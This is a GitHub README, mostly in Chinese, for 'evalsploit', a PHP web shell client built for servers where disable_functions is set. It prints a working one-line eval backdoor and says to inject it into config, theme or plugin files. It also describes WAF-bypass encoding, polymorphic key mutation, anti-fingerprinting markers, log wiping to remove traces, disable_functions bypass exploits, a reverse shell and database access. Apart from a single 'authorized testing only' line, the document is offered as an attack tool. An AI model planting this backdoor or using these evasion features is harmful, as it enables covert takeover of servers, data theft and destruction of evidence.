MarkTauber/evalsploit
GitHub: MarkTauber/evalsploit
面向disable_functions受限环境的PHP后门管理工具,无需exec即可实现完整文件操作和数据库访问。
Stars: 7 | Forks: 2
# evalsploit 3.1
**文档:** [Русский](README_RU.md) | **English** | [中文](README_ZH.md)
## 为什么选择 evalsploit
大多数 PHP 后门客户端假设你可以运行系统命令。但现实目标很少配合 —— `exec()`、`system()`、`shell_exec()` 及相关函数通常会被 `disable_functions` 禁用。在共享主机、托管 WordPress 以及注重安全的架构中,PHP 加固很常见。
evalsploit 正是为这些环境构建的。所有文件操作仅使用 PHP 内置函数:`fopen`、`fread`、`fwrite`、`DirectoryIterator`、`copy`、`unlink`、`rename`。SQL 控制台使用 PDO。Grep 和 find 使用 `RecursiveIteratorIterator`。不需要 shell。
## 核心功能
### 单行 Payload,随处注入
```
if(isset($_POST['Z'])){@eval(base64_decode(str_replace($_POST['V'],'',$_POST['Z'])));die();}
```
只需一行。将其放入任何被执行的 PHP 文件中 —— 配置包含文件、主题文件、插件钩子。也可以作为独立 shell 使用。触发键 `Z` 和噪声分隔符 `V` 可按会话配置。
### 兼容 PHP 8
Weevely 使用 `create_function`,该函数在 PHP 8.0 中已被移除。evalsploit 无需修改即可在 PHP 5.6 到 8.x 上运行。
### 无需 exec 或 shell —— 依然完全控制文件
所有文件操作都通过 PHP 内置函数进行。即使在禁用了所有 exec 变体的加固环境中,你仍然可以获得对文件系统的完整读写权限,包括目录列表、递归搜索、下载、上传和就地编辑。
### 多态变异 —— 无需重新上传即可更改密钥
`mutate` 生成一个带有新随机密钥的新后门,发送 PHP 代码在服务器上就地重写后门行,并将客户端切换到新密钥 —— 一条命令完成所有操作。无需重新上传,无需手动编辑。
### 针对大文件的分块下载
标准后门客户端会将整个文件加载到 PHP 内存中(受 `memory_limit` 限制,通常为 128 MB)。evalsploit 的分块下载使用 `fseek`/`fread` 跨多个请求以 1 MB 块传输文件,并带有实时进度条:
```
45.0 MB / 512.0 MB (8%)
```
使用 `set download chunked` / `set download dl` 进行切换。
### 每次请求随机响应标记
后门输出在每次请求时都包装在一个随机生成的标记中。没有供 WAF 指纹识别或日志关联的静态字符串。每个请求看起来都不一样。
### 3 种发送模式,内置 WAF 绕过
| 模式 | 工作原理 |
|------|-------------|
| **bypass** | Payload 经 base64 编码,拆分为两个 POST 参数(Z + 噪声分隔符 V)。在服务器端重组。可绕过模式匹配过滤器。 |
| **classic** | 完整的 base64 payload 在参数 Z 中。 |
| **simple** | 原始 PHP 代码在参数 Z 中。适用于调试或宽松的目标。 |
连接时自动检测:尝试所有模式,并保存可行的模式。
### SQL 控制台 —— 支持 MySQL 和 PostgreSQL,无需额外插件
`sql user:pass@host/db` —— 一条命令通过 PDO 覆盖 MySQL 和 PostgreSQL。交互式 REPL,ASCII 表格输出在服务器端格式化,`USE dbname` 无需额外往返即可处理。DSN 自动保存到会话。
### 递归 grep 和 find —— 无需 exec
```
grep -i "password" /var/www
find \.php$ /var/www/uploads
```
两者都在内部使用 PHP 迭代器。不需要 `grep` 或 `find` 二进制文件。
### 清除痕迹 —— clearlog
```
clearlog detect <- find all accessible log files, show [rw]/[r-] status
clearlog all /shell.php <- remove lines matching pattern from every writable log
clearlog /var/log/nginx/access.log 1.2.3.4 <- single file, specific pattern
```
模式默认为你的会话配置中的 URL 路径。
### disable_functions 绕过 —— 以数据形式发送 exploit
当连文件操作都不够用时,`exploit` 会通过后门的 eval 通道直接发送 PHP exploit payload(本地存储在 `exploits/` 中)。覆盖 PHP 7.0 到 8.5。不需要文件上传 —— exploit 以被 eval 的数据形式到达。
### 插件 —— 无需触及核心即可扩展
将 `.py` 文件放入 `evalsploit/plugins/`,使用 `@register("cmdname")`,该命令就会在下次运行时出现在会话中。无需更改核心文件。
### 代理轮换与实时验证
加载 `host:port` 代理列表,验证它们(通过每个代理进行实时 GET),并在每个会话中使用随机或固定代理。无需重新连接即可在会话中途切换代理。
## 安装
```
cd evalsploit
pip install -e .
# 或
pip install -r requirements.txt
```
数据(会话、设置、useragents)存储在 `data/` 下。
## 运行
```
python -m evalsploit
# 或
evalsploit
```
启动菜单:输入 **会话名称**、**新 URL**,或按 Enter 键使用上次连接。
## Payload
单行,注入到任何被执行的 PHP 中:
```
if(isset($_POST['Z'])){@eval(base64_decode(str_replace($_POST['V'],'',$_POST['Z'])));die();}
```
更改发送模式或参数名称后,运行 `gen` 以获取匹配的 payload。
## 发送模式
| 模式 | 描述 |
|------|-------------|
| **bypass** | Base64 payload 使用分隔符拆分到参数 Z 和 V 中。可绕过某些 WAF/过滤器。 |
| **classic** | Base64 payload 在参数 Z 中。 |
| **simple** | 原始 PHP 在参数 Z 中。无标记解析 —— 用于调试。 |
连接时自动检测。手动设置:`set send bypass|classic|simple`。
## 命令
支持带空格的路径。对于接受两个路径的命令(`cp`、`ren`/`mv`、带远程路径的 `upload`),使用 ` : ` 作为分隔符。
| 命令 | 描述 |
|---------|-------------|
| **ls**, **dir** | 列出目录 (`set ls ls` 或 `set ls dir`) |
| **cd**, **pwd**, **home** | 更改目录 / 打印当前目录 / 前往 `__DIR__` |
| **cat** | 打印文件 (`set cat bcat` / `set cat cat`) |
| **cp** | 复制: `cp : ` |
| **rm**, **del** | 删除文件 (如果 `set confirm 1` 则需确认) |
| **ren**, **mv** | 重命名/移动: `ren : ` |
| **download**, **get**, **dl** | 下载: `download ` 或 `download : `。支持分块模式 (`set download chunked`) 用于带进度条的大文件。 |
| **upload**, **put**, **upl** | 上传: `upload ` 或 `upload : ` |
| **mkdir**, **mkd**, **md** | 创建目录 |
| **create**, **mkf** | 创建空文件 |
| **touch**, **stat** | 更新时间戳 / 文件信息 |
| **edit** | 下载 -> 本地编辑 -> 上传 |
| **grep** | 递归搜索文件内容: `grep [-i] [path]` (PHP regex) |
| **find** | 递归搜索文件名: `find [path]` (PHP regex, 不区分大小写) |
| **clearlog** | 从日志文件中删除匹配行: `clearlog detect` / `clearlog [pattern]` / `clearlog all [pattern]`; 默认 pattern = 配置中的 URL 路径 |
| **run** | 交互式 shell (exec/shell_exec/...) - `exit` 退出 |
| **php** | 交互式 PHP 控制台 - 发送原始 PHP 到服务器 |
| **exploit** | disable_functions 绕过 (PHP 7.0–8.5) |
| **try**, **detect** | 检查可用的 exec 变体: `try run` |
| **reverse** | 反向 shell: `reverse :` |
| **sql** | SQL 控制台 (PDO/MySQL/PostgreSQL): `sql [user:pass@host[:port][/db]]`; 连接成功时保存 DSN; `exit` 退出 |
| **scan** | 递归扫描,报告保存到 `report/` |
| **info** | 服务器信息: PHP 版本, OS, 用户, `disable_functions`, `open_basedir` |
| **ping**, **check** | 连接和延迟检查 |
| **gen**, **generate** | 显示当前 Z/V 和发送模式的 payload 变体 |
| **mutate** | 用新的多态 payload 重写服务器上的后门;更新本地 Z/V |
| **set** | 设置: `set ` 或 `set help` |
| **proxy_switch** | 切换代理: 无参数 (随机), N (代理 #N), random |
| **config** | 显示当前设置 |
| **sessions**, **saved** | 列出已保存的会话 |
| **save \** | 将当前连接保存为会话 |
| **connect \** | 加载并切换到已保存的会话 |
| **menu** | 返回启动菜单 (结束当前会话) |
| **help**, **exit** | 帮助 / 退出 (两者都会提示确认) |
## 会话文件
存储在 `data/sessions/.ini`:
```
[SESSION]
url = https://target.com/shell.php
Z = mg1qjg
V = 3I15EA
send_mode = bypass
silent = 0
```
`save ` 创建会话。`connect ` 加载它。`silent` 按会话存储。
## 静默模式
`set silent 1` - 连接时,跳过初始 `pwd` 请求和发送模式检测。第一条命令就是第一个请求。适用于最小化流量痕迹。
全局存储和按会话存储。
## 代理
启动菜单 -> **5. Proxies**: 从文件加载列表 (`data/proxies.txt`, 每行一个 `host:port`),验证 (通过每个代理进行实时 GET),启用随机或固定模式。
在会话中:
- `set proxy 0` / `set proxy 1` - 禁用/启用
- `set proxy show` - 列出已验证的代理,按编号选择
- `set proxy switch` - 选择另一个随机代理
- `set proxy switch N` - 切换到代理 #N
- `proxy_switch` - 别名
## 设置
| 设置 | 值 |
|---------|--------|
| `set send` | `bypass`, `classic`, `simple` |
| `set run` | `exec`, `shell_exec`, `system`, `passthru`, `popen`, `proc_open`, `expect_popen`, `pcntl_exec`, `do` |
| `set ls` / `set cat` | 片段键 (见 `snippets.ini`) |
| `set download` | `dl` (默认), `chunked` (大文件, 进度条) |
| `set silent` | `0`, `1` |
| `set confirm` | `0`, `1` - rm/upload/edit 之前提示 |
| `set reverse` | `ivan`, `monkey` |
| `set grep` / `set find` | 片段键 |
| `set rm`, `set upload`, `set rename`, `set stat`, `set touch`, `set create`, `set mkdir`, `set cp` | 片段键 (接受别名) |
`set help` 列出可用值。SQL DSN 在成功连接时自动保存。
## 代码片段
文件命令使用来自 `evalsploit/modules/snippets/` 的 PHP 片段,在 `snippets.ini` 中索引。使用 `set ` 切换变体。无效的键在加载时会重置并发出警告。
值得注意的片段变体:
- `set download chunked` - 分块 1 MB/请求下载,带进度,无 PHP 内存限制
- `set ls dir` - Windows 风格目录列表
- `set cat bcat` - 二进制安全文件读取
## 变异
`mutate` 生成一个新的多态后门(新的 Z, V),发送 PHP 代码在目标文件中定位包含 `isset($_POST['Z'])` 的行,将其替换为新的后门,并写入文件。客户端更新其密钥。其他后门实例保留其旧密钥。
## 插件
将 `.py` 文件放入 `evalsploit/plugins/`。以 `_` 开头的文件会被跳过。
最小示例 (`evalsploit/plugins/mycmd.py`):
```
from evalsploit.modules.registry import register
from evalsploit.modules.base import Module
@register("mycmd", description="Short description", usage="mycmd [path]")
class MyCmdModule(Module):
def run(self, ctx, args):
print(ctx.send("echo getcwd();").strip())
return None
```
`ctx.send(php)` - 发送 PHP 到服务器并获取输出。
`ctx.resolve_path(path)` - 解析相对于当前 pwd 的路径。
`php_quote(s)` - 转义并引用字符串以用于 PHP 单引号字面量。
`confirm_dangerous(ctx, action, detail)` - 在破坏性操作之前提示。
查看 `evalsploit/plugins/README.md` 和 `example_cwd.py` 了解更多。
## 架构
```
evalsploit/
├── cli.py - startup menu, session loop, help
├── config.py - settings, session load/save, snippet key validation
├── context.py - SessionContext: url, pwd, send(), path helpers
├── transport/
│ ├── send.py - HTTP POST, payload encoding, response marker parsing
│ └── payloads.py - polymorphic backdoor generation, mutation PHP
├── modules/
│ ├── registry.py - @register decorator, COMMANDS/COMMAND_HELP dicts
│ ├── base.py - Module base class, snippet loader, php_quote, substitute
│ ├── snippets/ - PHP templates (ls, cat, dl, grep, find, sql, ...)
│ └── file/ set/ ... - command modules
└── plugins/ - user plugins (auto-loaded at startup)
exploits/ - PHP disable_functions bypass payloads (sent as eval data)
data/ - settings.ini, sessions/, proxies.txt, downloads/
```
## 与替代方案对比
### 功能矩阵
| 功能 | evalsploit | Weevely 3 | PhpSploit |
|---------|------------|-----------|-----------|
| 兼容 PHP 8 | **** | 否 (`create_function` 已移除) | 是 |
| 无需 exec/shell | **是** (仅 PHP 内置) | 部分 | 部分 |
| 每次请求随机标记 | **是** | 否 (静态 MD5 标记) | 否 |
| 多态变异 | **是** (服务器端重写) | 否 | 否 |
| 静默模式 | **是** | 否 | 否 |
| 3 种发送模式 | **是** | 否 | 否 |
| SQL 控制台 | **是** (PDO, MySQL+PostgreSQL) | 是 (mysqli/pg_*) | 是 (每个 DBMS 单独插件) |
| 无需 exec 的递归 grep/find | **是** | 部分 | 否 |
| 分块下载 (大文件) | **是** (1 MB/请求, 进度) | 否 | 否 |
| 清除痕迹 | **是** (插件) | 是 | 是 |
| disable_functions bypass | **是** (PHP 7.0–8.5) | 是 | 是 |
| 插件 | **是** (单个 .py 文件) | 是 | 是 |
### Weevely
Weevely 使用 XOR+gzip+base64 传输,带有静态的按部署 MD5 派生标记,使得每个部署都可被识别。它依赖 `create_function` 进行混淆 —— 该函数在 PHP 8.0 中已被移除。evalsploit 每次请求使用随机标记,适用于 PHP 5.6–8.x,并且文件操作不需要 exec。
### PhpSploit
PhpSploit 是一个完整的 C2 框架,具有基于 Header 的隧道、插件系统以及每个 DBMS 单独的 SQL 模块。evalsploit 通过 PDO 在单个 `sql` 命令中覆盖 MySQL 和 PostgreSQL。会话是普通的 `.ini` 文件。PhpSploit 中没有静默模式和多态变异的对应功能。
## 许可证 / 用途
仅用于授权的安全测试和研究。
标签:bypass disable_functions, DNS 反向解析, HTTP工具, PHP 8, PHP后门, WebShell, Web安全, 一句话木马, 多态变形, 安全测试, 攻击性安全, 攻击脚本, 攻击路径可视化, 文件操作, 网络信息收集, 蓝队分析, 逆向工具, 黑客工具